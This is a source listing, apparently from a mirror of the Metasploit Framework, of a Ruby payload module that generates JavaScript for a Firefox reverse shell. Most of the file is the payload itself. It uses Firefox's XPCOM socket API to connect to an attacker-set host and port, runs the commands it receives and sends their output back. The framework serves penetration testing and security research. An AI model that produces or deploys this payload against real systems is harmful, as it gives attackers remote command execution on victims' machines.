PageRenderTime 183ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/singles/firefox/shell_reverse_tcp.rb

https://gitlab.com/0072016/metasploit-framework-rapid7
Ruby | 73 lines | 54 code | 13 blank | 6 comment | 1 complexity | 5a4f78733e06d200c07e5b6c81705fcb MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/handler/reverse_tcp'
  7. require 'msf/base/sessions/command_shell'
  8. require 'msf/base/sessions/command_shell_options'
  9. module MetasploitModule
  10. CachedSize = :dynamic
  11. include Msf::Payload::Single
  12. include Msf::Payload::Firefox
  13. include Msf::Sessions::CommandShellOptions
  14. def initialize(info={})
  15. super(merge_info(info,
  16. 'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
  17. 'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
  18. 'Author' => ['joev'],
  19. 'License' => BSD_LICENSE,
  20. 'Platform' => 'firefox',
  21. 'Arch' => ARCH_FIREFOX,
  22. 'Handler' => Msf::Handler::ReverseTcp,
  23. 'Session' => Msf::Sessions::CommandShell,
  24. 'PayloadType' => 'firefox'
  25. ))
  26. end
  27. def generate
  28. <<-EOS
  29. (function(){
  30. window = this;
  31. Components.utils.import("resource://gre/modules/NetUtil.jsm");
  32. var host = '#{datastore["LHOST"]}';
  33. var port = #{datastore["LPORT"]};
  34. var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
  35. .getService(Components.interfaces.nsISocketTransportService);
  36. var socket = socketTransport.createTransport(null, 0, host, port, null);
  37. var outStream = socket.openOutputStream(0, 0, 0);
  38. var inStream = socket.openInputStream(0, 0, 0);
  39. var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
  40. .createInstance(Components.interfaces.nsIInputStreamPump);
  41. pump.init(inStream, -1, -1, 0, 0, true);
  42. #{read_until_token_source}
  43. var listener = {
  44. onStartRequest: function(request, context) {},
  45. onStopRequest: function(request, context) {},
  46. onDataAvailable: readUntilToken(function(data) {
  47. runCmd(data, function(err, output) {
  48. if (!err) outStream.write(output, output.length);
  49. });
  50. })
  51. };
  52. #{run_cmd_source}
  53. pump.asyncRead(listener, null);
  54. })();
  55. EOS
  56. end
  57. end